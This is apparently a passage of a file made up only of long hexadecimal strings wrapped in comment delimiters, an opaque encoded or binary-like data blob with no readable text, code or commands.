c70a2b6aa484065d1b7b2863a1d885b5ccaa1d5f726e31e11da248172e85c73b14346c45728a354c5652e3bdc39607be5c5463ab21def2ec3a728d4a0f2d38d8ca0876500de854804e8395494647f83f4b514f192d380ef0b1c12771e3d30188cb975d9d4df96c7ca7d13c7467c02d82f1653b9b652420282e7dd8c6326d6ab588fe8bbb5fbd6f5889b9d74d6c24eaa61254d991fa7716256126528b5b8d14caf0df1fd99a22ae3021f30e5f4ac1408cf5e4a7adffc41abb974d646c9e15dc8186fad64bf33ae0a97371e7303997d8537dfa4722c09943a1166d4a51bf1d0e56e421cd3a838f80352f6d778a7f4d09f68155dc5e3bfd0ee85a09385c82842eee7a0ce5ec103f6d6130c80b618a6422a7b60fedc8ecb5ba698455abc4c8064572353ddbcca1285fa574f561d8b478ff8d1fadd2f3310d7a7c9a918eb62a51b745c1856954c85d76ea576f4b518811f6634a3958a5dbc9f7264077d458e35c72449efd1dcad87159f394f2a92b85fe4df0afb209c9d0040eb237ed1c0e6e083e95e32f62fa0da27a8cde80567234944ffebf3b45587aad23f17b6926d25c96d5d74597228438ee892ffafa24956a973c3962c5bf1500696ddfb9c7544fd6179dc9dc467203312cc509e13acebd51dcf6c4fa14fd487dbe9d3ca346ce5b99a87fcb0bfa55b75ac192a751ca86bb064f5d3f4c9c83b5094e7ab5ed5ba7825140eb67ae68d847bcc0d2f7e4d920f26a8397805ee8d402467f12fa27bf8850c7819bc080ddfbb29e3918b7c4ac4e78d42b33538bc9fb85953cebc936cff49046304f7ae427717a2dac0c28e09fbadcd9c55adabdfe06127b6e24cc548b0a1c8208776e185a1dacd8bbec4ece490950dcc7ea4822f38887d997e956e56c2d011e15090128ec05b649e98cbcda49cc43b287ab6f56794a0ce95478ee535eb458f6cb9ed0b2102dfc96407e2e85deeaf1b43029838dee30daac1fbb4933d53c7d8415b82760262bc504fd9ca2bb4037170166000ff83dd602c0bd3a69dc091e688eca886f1ab7a2dcde271b05bd15f1e4be2293cfd2a7c881d3dafde9217ff1cda96a497ceff31554d19b0e2144c3a7840469862a2024827759bb6cd0cfb1f63a2cc2e205e4a09542456f5c865aaff82c566781079ca3476ca2b9b63cedd78e0d89147c09680146038ea696ed799c7a4c03c5d25d1d6aaba036e57d7b1be860a89a26d77416312ea295e75c7362f450ab860af4cd768feddbe9c1c1874de4a96e3455db22439db62f3fe5f4610eb006b784097f0494295426b7651e4f01b3e716ee5f793afe59b1d9e026dfb64174d585d9b01912959c76206b0d7a2b60bbf98f7a1b192c4fbdc5424a80a18106e124851543bccdc17aa8cf690303d1616fb62d7b2025c81aef7beb22b0d7847655405b09d2c3637ab97bf4182bab3187bf9f6f4942b59ebe9578e30029063d01d6b616d9c887b7ec8c7a2a2cda18ddf67c0080ca93d03a0be84c6687575532a947088a5201b45fe9ad8120269c84d1413c3e33e1a68a67a28c4a16391c4734153354d8465f3e3444a9d4bd23b6859f3f203ccd9f2ae164774afe34d6fac75c05603ddb484ebbac3e1798c2939bb2eb4ab30f5a65a2c42848353dd99bb90708917f2e3ffc7ba53cdf1da5fff611637214467e97ea09124acec865118645221e3c78dcfb662854fc100ea59116b2425db667e27ca8ed206634356c6d4afdba62548c24df805d28635e69b90f21f3a9e2502d884e9ff0168f997fcf4d6e12841af6bf42fc9997e70f8b7a91235a87fbb9dc118c74b2524b3357dbdeb0aecac6b9d8921df33d6f0b85e7617f114c288c119a400fa608c3b218eb322befbc35b254f0fd624915e547fd7928badf5ab777b52820dbaea23890300d093fb194520bbe7b5d12cb854a48bc2db16675142b3c7ca4b28a01b84005ec8c00694395a0f6e1b5a74f7b00b8cd1b8d73b122decd70838b3acc0969fe3c466cefe1e3dd104cf8c1419f06f48dc941cd37826c5e0f4b22c5b1219a378bd02da9327da93c7fa27836b3ef3cdd48f7e1d0e90f4591fb2c1eec4dcb2291989c2ee939da51cdb8e54f1aa34946454798107d224afb49ce8ede3670ca8ee*/
/*faa9458a3eaedc508e491455ea8d6556eaa7d2a9c7f1fc45ecfef310108ff7a5a712810a3df0aadce53d48cd84009054c6e39da3c39eee33517d04a0b50d0065ad6ae0e3c3e60c5795e6dd202958904f4cc35b330fbf61c54be4e7951d8c627b8d0f5e14a21ed936e0541227462461a39026ce31e0d72a8eead7cff248105318f4b05b44a167772fc564b7fd17a12c885b664ca45a6b01d025cc0f55526ffbe2d846ad257fa73dd3e658b831c92c8a752515be6eacc8c538ffa3c86de8eb9826182d5b855bbc97ddd70f21ab98be3ac4737b4fe4e1fe3776ec5f652db315027b92c62a7a3069f804ff2b19e865ed3bd8878d30a4396426c103fa55072128abab337728a52855504709008073b272fa13c1b5b7d6c520f33e38820498aa27b512e557111c5905637a510039a1ba07fb6dc893ca48349d4fe415432d449d0b4721223ab829c5d9c8de6c86af2744a30c6e63e10d0f74e118605284f46d97af1bd296307b4577c86786ce4d9eb98ff5932ffc8b57fe99380fb83e16b7c32313ce7524cdbcd85ba3568d8992912c0db4070de82c1636297c5875f80729d9c69f3c348d3dfdf54f87b5febd6ce1a38ce32b5164bd99411f221ac4370fa2e0e19abe2f05df0b543d9aafa8055b3f36510f60feea3e665498a9b584e096d6242bd93dbd381386e487e17411e8aa4b97c310e53887f6185c508d5d191e2f62c6b551c28cd68c785f126a07ef703901cc9935f795cdbaa55fec11886e6646131fbd5e81e00416ac78c3ab66f6acf5bc2b5b266b5974f1e8d09f43f79de9fca7dfc57bbbabf6467e65bcc84a36b2602679c8c44442febdfd5a9cc33113bc198aa7cf70d68a68805feffae53278854d9e1c76973699c164510412d665dda9409c63c514fcef6720dd60b40f061c93c0ead7efbf61e7c8ab15e58e2430df202ea3d81f6eb66ce6e8e35a520206f25da34835f438d51aa4400c62914852f9ba720a6aef0001335274aac9c7f2cd81b8f9b9fa522d8577de8f58abb5eb223406570c1f172ab5912bcda74ed033d110c66b0c2eba987d93ae79f9a2f6d2c8fad392af67a86e1bd72e61420db037539efebc35f0a09f9c0c8f7de3ac2baacc82bc18d44dd4e9a247b8c5311f1b527b74790cd217ca8036d40b2f7f7409f6010696c643be3c34596f739fc189586364b0112f8c78454c9ab583db2032195fa83467058d107f787fca64a63f90af8925ce159911ea76ce01d550e1209af18f6d072bf26d5dd415f826fbd02aa810fa20bdb179b281d096cafd20fabcec1516757252fdd346634d38114cd9c27ec314c531f50b8ed53ef675a32b2d59f58bd7ab949cd1c431fa1dd62acae0c187aad2a70691f26bcaae021a1e1e6bcea1b03c91deb18b30cec2f5d67dea42e0e73be1971f37179efd3f27420f76a61548aa10fd1351d3a0249a0f8c32d406831a7e9fae497b35a385374c93075a461bf3e6e48e32c8aebdb587bf28c9515c195dfc5e5a5e74ceb640bc628ff7c2c1cbbba2cdb34620d15b8fb208a616684858ff3c74c162ab9a301d9791b181d23ac8819a04ab1a3fd62c323fb24859e12adaa40124d8c8de153d70353cf35a650bb8bf1257244cb16ffdf2fd715cb878c41d32270207dac764342871d67434c1d3c7d79fbb4978c783d51d9fad70459a92f4dcf5f3402ca96bda4e3578b8de522b457bfcfd3a9250e4ef170349831bf4450a9fe4c8d59fb7e11a1c5267c966c54bd3c2975473647094e183b47c1ec18cc89267943e50628ba838501faf5590069330d8e8c49104cfccf361a6c2ab2d33501b488226f98067e590588e810da0050d38eb6d24883a66d73ef975b324acb9c92905a39493f3ba93f2df2bd2ab1d2e6584be6f409d81787d16e2e1b25b8c59d73d12d418cc7e6f613a5e71413b6801bfe1130eeac9f5f22373f3356a356e8c36b0097512ede3eeb79761759cd70cdbabf484759673cc584d79dfb85b8069c60fdd1c93f9b923341ffe0fb449b0a2fe24d3ba2daa30f6046920bdad6fa7f93d7e95d9cf1470c36932ff79ed4b0d828cc58a0ad6ae2c875b540244b7941478dede7a53f202ccebac1a861b4a938663867d941f6e710cdae20b3b397818467871c6b6f8c2c1d75e193905ed1868986c30182cb0a8fce915b00696951ba37eeaab00097b63fe0db67cf87af5df6e12c01a115c3a1a9051c5c8d5bf46aed264d7bf4567d8afba69992038964a283a45a7916824d8315cd6599a302a253231e2d95e25edd6d2b4f20ee48125b9f07fae476a9759323ef08a7dbfc4654144f0521a53385a312536a8f504165682a2811dbedfaca7d400289ba57bcf68044a11e403ea35d23df3cfb476c7b0962eb5c60425ef1ab6401d06fd27059b7df16d7cba878f7022f33e5bea2052e905a2b7c9b0b1649f78829f7533911399fd089eee34ec4a5bb2a25d10e4467a84245e8bc43d98d55aff49559508a7ce90b4ce7300c52357944777fd9ac63f3c2f3104fca7e005fec67bbfb20ae6278dfcc7395a091d02597a51206b624c0110e2a25ba96794746a22ef914c41bf15e788fff022c9303b990344d960f4b812f84cb7e0b3f51aa4f635674a1b6d2e4d779653b5927559c41e9493dc8a14cda8e9ceff5d87b636d818cfe5071ce1649c8e515d7ab184d807fa029f7b1f97e448e3f7e709dc503e6666b6ca9f060cbd3ca1a86750ef6ae19a82553e2bb4058a00b0da739fd0015c104ff51fbd24396041a3f034a620f747001f14feba3c5edb56f560860239f445b6cb17fb6c8453c47fa27364e0d198176f313d3f95da9c5ca848d2039a6dab94c8*/
/*4c57eb3e70bbd246349aa104e3af883ed7e4349371db989e82e2993392a34695d57e6fb82903f3b923eaeadc03435f09e14956576bd76afd04eb095073a8a40dd16daf1eceab93e63e3410dd18f6c69c2c6e273d9cfea30f08c8024ffc810e10dbfc9cf5e6e316ea52fd4e97a3aa6b1b63b36f4777737d4b2c03b3021f2b3d0b533b0131ad726055999ad8aa872cde032a01f51f8e8fa0efa44f6c0e4c17233c1a04a39ca3dcd551f5ab610db247739c56038c4fa5e3850c712911f0c7f7d4953aa5aa336c2638060513bcf14ed67bc8801d17f81c601eddb58aea2b6b3d227b1e7238bc07ef948d954416c8739ccd8e58c56fa2db283b9940d5841b2a2958e02ceb413ced557a37d191bab971360f3e44ec3e49d4131f53604f6c48ab22c3994eb5f2ae5ab4af939d0c7c2e1e3a3d1864ffdb80de1993223df5c6834ccca0ab4e05bd391bae766858407f7306b1fc0d23d656bc07959a6b982dd797b264d22f504984da31e687f0b247c7823ef3ad80bd74c531874d82f09a04f615a183447b169c0a7f929f530ea0d32bad9c485abd75a3e8272f0e9363a3bc2be23fea58ab506de95c16827056691bd4cf03bc0c0483eb3973b9eb9a3b3dd8817e7d422e5b1a7089aa43fc195c22a9e450977bbe5fe1c390f96d234fb04069196f4e3bd4aafbb8be9e40e9eeb8fdc4680ecf16029e2e5830aebed05b558f076030c8bed1b1a1762936a92f8b52d1788f0971bd59a5632f2ca44574af7c3ceb106e0e5c6fe11a8938a436c5284a3613466162067c55728228f073cef086f3f277c73dec8cc1ab8e8b684c419c335ab942901ca70a8b51d1236870af72f477296d7f2d09742bbf27a84f3522e0b06b40921cff076a5250ed606d59f4d54366be93eff97f775eb88970f764bee0c7d45eebd865650b01992702783f6f0b7522339a86d79e1a11ddd0e9731e4047a567c93deffa5f792822c6739744f09c94ea9a4fd34d9f4cca0a5aaa97b4b622f09e13ec8ec7ced6a646c2f8afa1eb47835fd2604fb6245337b02badb3bc34cd3f40282097d8df3d3c2b97a9f6fcd0cf282c71ffb7a002a8b7181be7154d169618353fada7fee013d6205e8692cee0870f259dca254894a04f23f8ba0bfeb86b099dcfedb1c9e4b076299f45fbe409a7212bfde0eb0f8f83174f664b85aaf438ab425ae366c5340a631927b825869e4eddf50df77eb4c29241b819ea3d6f39cfa0fc1828abef233f49b46a41bf1cad0762ba4180204f5787502e2aa9b6019f75d64ef316b582ce3e7cfb6f2649a2079410650bc9f4b7879bf5d66d1583e2f92d66184582ef8594be84bc11af97351fd2068d5667f686e583d8b329151c73dc0c362d5e3c57bb4018c526761d8e84b4c599bbc89def066bdb2af83d0d94a45c5b18b3621b4337ec9f06d4e93d890b51243fa3ab6b2812bb855e6a47251738f2fa43adcee9f25c43ead8cefd2d107d51eefdc9244fbee225e76eee72983d521684a195e1d4cb71fe4179a8b53e362538ff7ff6ae93519915a9b399e52d9086134b22df8766c44c71afe548c806a121f3949b6ac09c94581c663ea2da039b09903ef2d8bfe9091c527d69eb81a6b49ce8122fe100c20f65516f55b8dbcf80c3de74290c3bbc5eebef5c9f1255e010f2a7ac520b7e6bcc44655124ec1e7bdba9bb432cc3a1f2e8efddf3287f38122a5c9b03147459303cc29d0472ec89b5cad39d7fd80217ec8990fc0ccf6871ed9c2be3b3a83bb04f55dc92736412920c4011ae2ac9f37ba1b0211cc90bb087e1017f4da07ef3acfb04fc60e8dda1419adcb26ed9d0db0b121276006455182daa11a399bfd3a5b09320e01dc8420e710809145b279765e1e2e480aec165596d534eba6bfa29e87125dbd39fb15a75f99ba6333c683f9d4e320eb08c81d90ec4b0b88fde218510e4b65608d85f94e77c9b7cb6e89798552e9544d8df20c34d5ed3f1a232091a4e3906d1a9a003c39b065223c6c0bc9ba60f400a199f4a0c2ded94c67c09182fb1c4ccd9f8d9b9bcb1abf98ac38345306af90fa4265a208bd3da34c5331b17654bb6d31b213685d66bc4887f4b6ae541fce71809244d6894eff57ff99a4b0adbf7a481655d148b75ecd5dbaa51410e1ca7a03a9ea5af79dbbbfca9e213c3d833bdf3cfda764f52f68915c75816610d994d5fc20a98cb7382903ae0c95aadecff08dc653f520b0a17efd64c71ceea99e5a16317bcf8dc69dfd7afc926a52c650fa57f8e2e8c3faf5fdaddbed0ad4b7f2e030d3ed5bc0734f5742393136232b3f729458dc1d0858e912d1f86ca3c8cc1c42b2cd913acd44cdc02d0b0d6dd425045f8fbbf67eba63b816fd58c67b427b583a3bc171561342bf1db364394b980f37610363202c60ca003d74bea27e28aaa7c1967d7c587a00f812ba26e7cb24e816bf9e3ace0c6f662701805128e439160626c9f0778c3ab69d4e858469561d2193efe41858d78175489b8023286be7b33c1397c07c1f05e291682d017ecf20b62849188d7cff24483cb92709156b5619b059452cd69c669f41c55df0fc35413e0148163a57eecb68b6783d0fada48bb447519ecd7ddac4f933bfe55bab01db531441f0400d1dea11760401a857eb41e7081b65808a8bae6a4cb87a157e2128906b938b229748810df3c42390202d79a5cc0cfcf190dc678df699df560418140a413bd706d765c1a7644ac16a53095222a0e5dd0b73fda73955f02a3342456e3189a643b57eee51debadc0529175144456a1f19fc6b3eb1121537b6554e2dcaa50b845378087a415dc769e053809e7a88371ada011995075badd*/
/*4bb3d5e857d5647de4c3d01a53089686882748c0a131f38c4e5b92465f45c58d62450b0380a885369226e5e608b6b7fb21d75b51f7bb365ba841c9fe1563a099b96c914f9ac442998f69008bd532072a0dcd17fcc2eb79e301a6bb83bb2e1db3e54303c7056f4fe11cec1afb184c2ef8d03ba497d48a2036b0b8c13d9688ae05d8f2eb993edd4a9dfeeee39de948b86c11bfbd40c9feb78d70a1cfba4748096484cf15b352d82c363413fa1cfbce1ef87e5f5b9ce363ca4c134e24d827e1ace3151b441103a17fe8ae956b408e04acccca0ec41c2a0772aa4bf18e7d9220a9490f0e4e29dcb4998e9a2b1a0a35f29440ab7aaa56a2d456c2d21a5306d6a2a2b2ff20cc4501cdb3b71e00db08d2004ca82feaa39b30d3bffccb6320a71f8f6d4687bb17c37275dc527957be16588b48c076024dccf8dede65c9d3206599fae64b6c0a7c61767ac7624f79d2303fca7a3c51f0f859cf796723c4b8d864af82378752fbe4efc46664b571ae367cb2f8eaa00826442fbad78211394519f97b77c7623cdba00e876a23b0011472aeccc819de92f1a94df8e09510f4f6295b9885d8dcacd7a264a4f99696dacdcff6fdb67d8a9b0c73d72674e979652fbb6e45291e846d5b3eece4f47ac1f448e73c0bc8dcb1b1f38557ea499e14cdade6209add63c2b140029cfec602c6af7c9bd6352c787e5eba725d2207b4e067854bf867138e57b02d90098598c1c52dff8e098256d7b537794c5bdb584a584fceaf0d40792c9bcad6a86c1680a88fbca42b6bc7676ea2b40da371e00162c8f5e5663d7d9ceb9ed8d38cd3c34b5c8c7136ac6da2c34fd0a56d61b9146dfc3e9048f44af91725e4952e645ffb63ee6b27f48d57ac1b70f0a48cce16a9a581eed6d5a633e51464a9b305a30fc5417b84e2e0d62f5cbcf36d05d3f93cd87a3b5d6566cd2455152a14ef89992a4577ce532d6cbb1ef19ab938c8dafceecf63079d40d37ce48a427b0c5d30f776e865c1de701becc297c211f6ca7d90112467b16419fba05ca97e148aa6218c1eeba6ba6c63edc552ed6c0ede64ae0b982e98ae24676628e736a01ad9bcd9e8e81130a9b1db2922b3569780ad0ebaaec65d21deb91346d7a64c9790e68ceaa82d8e85529fd680566ab3ac057bcd70f34a8ec874e603c2bb3af1b4572a2b7a78d1d37ff2d47bd76dd7243b7fc9310476f45fc2ac09ce9f7b87035436c21922a1c0c1341e97d2848b571321dde05c4f6328429d4235242e00422f5597603a615a760a4d096ebfc76b5244364ab0ff51ded9ca4458dac786e2901815fb9303d95a3240b4373d4e37263845448c6d8decc6a3453c6174270271a0998e85b4b18ae7655b48b8b44f73922f3934dd1cc8e60844e8ed7d10517f6de3fc9d5a3f33eb10d1cbf94d8f4c0df0b82b68c2b0922fbc00d7960c7c03e87e19ec032353d3d2bb7c96f99bb158b11bfdc161abc299f2370a7f47c0e4a5198148e5e020db05eb1d13d15de855966d2c74f8e03bb8c13998ea914e0f288a13348a0cbfb889afca5bed3816c963de4a657f9b67fdd63c62a5a3db8dc31db065af150914e8f5bc29ab541d49564ed6e62ee37c1cf9373d1c480b9456dbe7a39241519b7518e5603931b89f40b7fbd58350cfe5296d37ead2027908f738ced33758299654bf23ed75c0d7291da00782fb7c5e668224d6f2ce97030291532157d92b3fda31bb356bc17771b440a82105bb3866d6a1274ae4d81e73dcb5576ae2a772ced54e2dc41504636fc7fd7cb77d3d843020ac4ec9f5b3dd24a40944329c20a438a0c04d959d5e0105aa2b03ddf1001f062dde80ecbe90bfb98ded17b2875a8cdcb770a2960612364814cd795934670a3f812da3e7ce1bf9eaa8cd385f02d00a93d746fdd22561f219aeaa6e3557c2aaae5d801f39a7e09168156216bc4f3ec57288eb871f7a165be1afdf80c30c8c0245aa6525e68aae4473f51054272fd2e5a61c5a47ac74b67d80af11c57ecdfe5f99fe28d7118d19bf1a8f3a14b4b643060db3f70d9c67994be2c85984f2fd631b5e27a7de3e34b6bdcfc5c8333b99853742b0fbfaceaf9052981c4ab036276e144357d5c2295717bc1ad58a2dd9dd82a5710d6185661018693e24c3e15717b4329e96f70eba0649cc063a9164405361667423c2241bc757ffcc1f269a72c249cffdd4acf278647dd9ba3632a40725284fbc80e232dc6132a42b808270c7fd958ce07903594cd4fc327587714ea12aba30a5df2981d5e30e692531ed5dfff5cc49cbd768e77966aed70fa7c6ea85cc8421b2c16059f97bf46cd1a0c7318477587df4755386d0521b1be13b4c15db66c4d1049c1655b945e09fb7665102335787bf53cbe5b36b18a59f1033137135c180b1a3f841ea3e42a16a52b64ab7251bc11bba2cb86bcde374b9eb5103d4b4894bf74ef9c9a2f98babdd89b0fa2721432836c5ff9c4af77f88eabc9b8ac195fa3da15787d0cf4ae34da5618a76d0d4879cabdda471ad2aeb517b134c9974b7292c1d0f097622dd7c1f2b66b4c72df12d62c94599a72851dbb1d8017ea78fabf0bc5d330bbb09e00c6f4c2cda57c96680f76c5e95f87e33d2ea20c1cbe66721b707fd28171cb1e230f703c3da1bd378f88e092c830246486966e7c3e56f215c5ff2d717b37857770457df6d9329913a18a26fe32a77cf18e330e67b059a2bc1753c2c12bca076cbb9d85e201e1fcaa5c2f8691d359565f7e852ebda443b6bc3138ff4f9ab8529d67be601414a40e9b2d3009f186b2500ef076bd25555d8b090ea69b29e89dcab8795d0a61e8fdcf4e16ee434c9880d6292*/
/*d3f2f57c476114c389addb2e3ec05c867072b93fae327057e068c45bdb4cf762d293c61a3faa7f3ca653a2f94e4879c9c8170074b734aa8c44bacbffcea8937c4097f2ae0cf33a3add98c0546eb5e5edff9011e630867a4e63d9360147e7ebd12482bf2989be591834ee1997b967ef7524b752099bfc2e2c356d8fc57ee42b2b2469f2f34c3702b0727a400939fd5ec177b6e565134365fb50a08fd2aae43410a40fc535285bc182f95e3197019fce64646c57b0b0a2440c1e2b7f1b27874009e5b42976d92aab4316d7f0f9fb956e3147ba95c369de73574b5b62f33a87b01c321451447c181b80c700d3bca6ce5ea29a68c700e23cbf70fb88e77dcfd081e6d566aa5ff2b63d01aa2f783c940cf91f86530a3ac1a66acae888966b384a296a93223c0801a01af8246faf0f4ae3931da866a8fd722f6bb0fb982da59c6d3b907d6bdaa23d4e2e5cb224c46239eb332e72316253f416c404376b2b4715101488f577f5cd29140c62601f4881b8ee65f579e4e058ee8a9b7c0ed69222bab4a5c18eac8d6782a47783f44cf4215e77f0f3b60fe138db78f787c2fdb0813c7c7e1bfa3ef10902ffda0548821faf78cba22e7e42b85db919d08323450d2e48846be1006a396a483e7b29701a95f6eb8a0ca98828ade028c52f37039f8596128864328b2646229c8cfe9e86f13077124aafcd190ed9c4761cf4556f0210583171ea59e9794620f55654bb8aff47ea34de12f98d4d42185647fda6328adfbbc968eda015b010e14e973ec5efceaf5f91dadfc351c834efe8e2819c47d1e4018ca6c2ad0d2234728e2dedeeb8bc65cce638a988592c0a3d6372e3055c7ade3d1660506f69124a456f313daf22afe39f5f43d8dfc347dca1b467f9f0e365460181c0c9480ada15d80ec26f5deda4eeb060ad14fcb6e3879c2e9fc34a75e1785ed40d3e5f11be729e40adad8bf142bd7bdacb1ae4b953c422b5beb56e862b495c64bcb64770d8a981457ff16aa4810d00a04caa1300b27c3ad56048c6197f0a6e7fac8d5280379d2eb98f9262da9dada5c071e9f89638dbd73c481f185d2f7362901f7a76edd5b330e2a921e0958f0a4b3f307bad4e5f4ca049f34f1507a7df57b4171eb1e2a235178ab91c14f39e2536bd806f51cbd29154a6716d8f85c794161e444a61b37a6a9386af3b4049c13b27ca87657729dd50bb272d8e70cefe8a7d83e94d4a5c4e12629cec560cb71c2984f4a9c6813435f3a9e158d1368ccfea6b20170e9a228a1be8f2c99e36b3ad703b41dc5db57ef4f67b841af0d38b19eaf35a49b068d446bf817c7bb3a67e1c294d7f330c22af66862b8f8e18bafb99b09fdc92f627c634248050d2a5bd094025c9b8e6536cd762dd1292d9e513c0ba2ab005e701f97c91aa84d064460405e7ec166af33a19f4db5bf82d093122090c2d1cbaf3f0fa17559528c6cf31b3a5b9ab10077a064ccb12dc5988e76792cf7286b702b0fc01524b51247903da1485d971263c84a7b0f4e00b230c73851090be8811a1bb1ed65dfe31787863be37c027bb581c084faf65af02a62b1218621136c091cc3d3fb74b5065105bbc566e95715d8db5d408cd693525235419166df9f43533a0832326a6dacc4fb649cd110a2a699fe9d7ed74430475c1c9f7b6ac861afa045ce2575d8cd7de4e6acec27f0ecab959a92ef41f1f3273fc32210462af35e85c81eb7b6f71c9533de1c40b5fb730c78695ca3fc11959b375583d61fa9d6fa94c6bd6851dcbad1a78c12a79e0b166411ae24d2f097192cc1a951f66538a6d66915acad7f68075b94a479934e27b613eb1539d39662b42337a4a4ab106ebc0ddfb49afb0dd58d62fbb164833e31aa4eaf65633596ffa37762113ba080102d07bb66be1706451fb10e04a9d51c5ec636ab65cf52ba433c6593c190cb7c1c919f56692152dd62433ef03033932287dde385d19bd95228edfceacd7f37143c5e8b06ffd8457edff787adf4ea5d1c2653570d67c0c3a270ef83cfd9d1c3034879dcba408665be79b49625bcb519232432516bba3fd1417a15559cab7d3e5592559c389b45f99ef968d3397f56f09bb9a2198c33c0abdeaf8f93915342761db8ac05d6680156e4dcb940beb4ccf93bb55d469a7dce6db3a256bf342d70504ad4b61de3b84de74aa1cac5f3d60b52f47895b9b7c2705e7e6d047792a959b4ddff3a91bc577e2f78851b6d2a700a00485e3ec6593300b51dcbbe911c18298627d973e317469342bcfdb68cbcfdefccb7c28a37054906cdb3d7ff0151dce7c321045ddfd055cf67f9921a899e333d7474d0826ad38f8b04bcf336236e37c8b1585fd70eda3706a099c2cad3e0fe024ad32c42e1cda8dbd44ba5b0a1f96a673621c63cf3e62ecc8bea5ee44fe39e46b8fa017ad9c8fed1d55db865c1f04b503f94c99bc963f0d98cd011933d3ac9482b7bfc7db8b4cf660c7245926d82c8aee29a35eb55ff461b5483747632a5cb25a85536c532fd4b233beed299130e4c2c5ed303e37286b75ccda936c41880c680c2058ce7c16af424fd672cf2727caa00ae20fb75acde0eedc78cabc0f7090325aed954dd0c4da354ecb62bdb81ade790b598c9a04b292ebf708a235ed5d6e4c371b9cb82e69947775de6eca0bc65567caafc36e01ae8708261ffcdefff0a595a1aaa745c0eb2966ae7f51667e7a32526a5e2201ac93bac8d29eaba5d784e0bf2f26939365e875dba6443787779d094565a71c1e796591c56313dc594ff3e725f68b608ec0c3a15826a61c517fefcf0f75fe1c2804bbe2bd8e84d4369478797879552d7b7eaa56ca11cec2*/
/*56e466f247c6dfb14d6b3c0084da5efd4cde23a9887897be6d9b4419d692210e1370866d1247708d093810f6571aea002cf380cf3d01a84dd5d65c9e9e91f316b8a9078fd4e4a8c05bf0de8a422fa2ab1ed37c3c6d34a7689a34a330e5e922fb89d8646f6ec94bb88411a0d4d06db62935c3dc3a9765150677b3d561ca6bc52a7baaed85ee638c7af7ce745a825b6373c61ce914adb4916fc6b816ef5ff2cbc9feef5eab1e51e109ed906bd37bb14867fb337b6579adc206bc96a042a58a5726b5ecfb4cf75b638d02ab1e597f273f109955934c2d64fcf091a226e7611beb24c67128b5dd06acb0a8608f26ccb82b57a41d9a6292ed72a34074a65834574118683a872bb9d94310db6bc9d3f8680cf3a45852dadd3b356970d16ea0829d9afa9b9d319fb43ef460071397c4153755bcd5046f931cf9c2ba877d80a66f3882207580827ea5fa85a9f3f202db65af6438992635cb426dd297c6241e9288f29ccc04a1c96c8505e5196d3a893b19aef9f7bcb8087b0947e0d007651df4d88750e8015afbe3e7d7a0431dcead4999126c74ba2dd5370a07ebcf210e3802b2e4d600f58ef8d7bc941f4a3fc828258fe28369e06b2f2653147fd902bd4059351d5b4fff2e3441bd0d140edddad391dea7607a8f1daf19762fa747a9d3fb7b648e956c3e394d586f829e9ee9f67ffc6b392fe7263cea0923444a268e1d5552304287ff2ad51a331ea1b8f6edaeaefc6b3810f72b8dc4e12052520ea38abadb34b386c4cda90016e60eab3780fb754dec0bd2a70578b7b955f41c31d0748a0633d6ea0af4c3630a70c543ecbf4796811a5944f17fe0ca87f9a65734a041aa1f353a01786600a0c3a224bfda1456b4ae858390a2112962612dfb1593503d69c91a4cf60c6b92c93a060470c4714e1b37c3dc371502bd1ad5a9dc37a9d88bcd8dd0e087ccb0e08e0736c67d9a7cc1cb8eba12c236bad5ffcaa3a6b24eeddde87a1fd3a48f8be44879710e18713ad048152816de25db426d0175fea95ef90b79b935f36f9e5d68b930ba35e29dbcb4e4575693f4e0cf744974bd12a3a4f10d39c670f0a0ccac6ef2fda7bfceb996d8e7f58389acf39cbd847cafa9aa922fdc4056986f1cee1bea15bef1cb2a798d7656be78a7d1a244cc1c3ea56301e7d4e31a640475163b1d1709f10bfbd2f873f281b89d423cab275020c69134e054a1a89a8b2a6ae01d50ec12e2788cd2381aaa4b6a836a9599baeb66968c8f850390016968a12faee400686b7fd4ee2dc6454263ad142e7390229ae72cca36ae6c4a3ab004922f7306b2ee8372827d4add861d68e9cf65c89fdc863bb8af0a689287729579672cdc3c104a71af6cce8d64858289ba5a2ca0635e0a1c4f2d7fdbf6d5d943e1201094abd2cc49654d68d3125b8e7492384f7c577c6ba2c411ccf373328ac36a855daa42a6d0e4147f40af6fac04af6febfdea6e4240f2f9cce7dffa386a6991f1726d8d8bea1f3d1f35cf33019cd431d4bb5a2f617c512a5e586315542a530af978bd27ddab62b572fa9ebe7ed7fd3162b774e8d1775dee836bb1d2bf0a61f6b359d4af8db8662cd2d4696aa8ddfc79fa9313a16c277d243b0cd05d7c4e40038bde9355e347c022c93853dd6d54d7be3ffae7d8d24458823df1f5855cfd2f68aa874562179337f816c37e7aa71f81643a30db7550d900d886f5945b61eeaea453998c49aa33f4a6c33cd6a2e308435ee1051fd3a07ab8041534a9a5e739ac4a54a9ca9f8073b5cbac2d8a1d1dcd3b9a754f5e6d8a894ccd75535cf3964784d3b786f57ad062475922956a8adac81c7ef05ae1ce53af50485bfa3696936075e91b7bf07795da4eaa5139f9db7b94c4de1996cd8f45bfda30a2f96cda297a891223222537ad9083afa84e69f3097d733e0f8e935b23411c6fb3e66491f0cb0ab5a2eed8bdddad64cbbe85374993d214650796bd51c8709b0a7fe011f5f5a06178e3cf836f521e8bdd6f67d4ccbddb0787ebbe867d724d9adfaaa6c65299b39ee1aac8f3483dea7bf78a1377f62aa2baec0da9c5ef554e52e02fa8d8b885d55580ad775a060b4f199d74bd87efbe3dd97e04e43c959ee098c1645ee183c72caa189526a633cd409ce02429414ed27212649e0f2500d019a39bfe6055df31c851e41d40f3d9e43937424a24e7c5cfa72626165fc78b5ae92c9dab3d5b79e947b0825aec1c39302abad02560646ca50b340fa885e406c0099dfdb9f953e74209afb83871e4047c6d36b626cc973aa4292f2e9de2c30eaea9485c95a530dc7d7b7844c1393750636e8302a8ba7b4e8d2b30da02fabb0142f7ee7ed175142c9edb5989b748bc9cba552e08032f168b801716225902acece54554ff7bef4eec1d5d79e6b32dfe9da0959efd8ab305bb6dcbb177627808d0bcb701f255751cf159b1a4a4723b4d6bf4a36b0f11225aadeedd485469d8d5721e1d2c2e2b3ca2511f7eab5a4adf0a18fecc57efa1cbd485163438254e76ce8ede12447114e447cf4859b0349b56c0575f0ef06d3c74a7984c4c9d4fcfed33a1012e3f96c0589a5f5311a56a0521bfffcbbaeee2713ea0f8e332dfdfd8b4188decceb67804bf27280ab562551032c70ef5feecde131dbf385e2d7da851c87cd881d69af52def2cde90533f06857538b177c3c88fb9d2c646b9caba6d02ee0fabdfef3e7e11a7fc8ac980643ac2f729734fdb2db229f9c663a46f87bfe0596b75cc8bab08001ea121b1505bfe612ba347c103b910c9475a63861c4893c89449b7488aef90005bc68ccaef9748455816e848214af50ae481e70a